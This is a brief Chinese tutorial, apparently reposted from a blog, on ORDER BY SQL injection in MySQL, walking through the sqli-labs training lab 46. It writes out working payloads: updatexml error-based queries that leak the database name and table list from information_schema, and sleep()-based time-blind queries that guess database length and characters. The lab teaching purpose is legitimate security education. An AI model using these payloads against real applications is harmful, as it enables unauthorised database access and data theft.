1.order by 注入原理
1.1其實orde by 注入也是sql注入的一種,原理都一樣就是mysql語法的區別,order by是用來排序的語法,
2.sql-lab講解
2.1判斷方法
1.通過做運算來判斷如:2-1的回傳是否和1一樣,和通過desc倒序,

還有排序方法判斷如:if(1=1,username,password)、rand(1=1),

sql-lab46基于order by的報錯注入
?sort=1 and (updatexml(1,concat(0x7e,(select(database())),0x7e),1))
?sort=1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))

3.sql-lab基于order by 時間盲注
資料庫長度:?sort=1 and (if(length(database())=8,sleep(1),1))
資料庫猜解:?sort=1 and (if(ascii(mid(database(),1,1))=115,sleep(1),1))

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/2012.html
標籤:其他
上一篇:網路安全服務人才發展路線圖
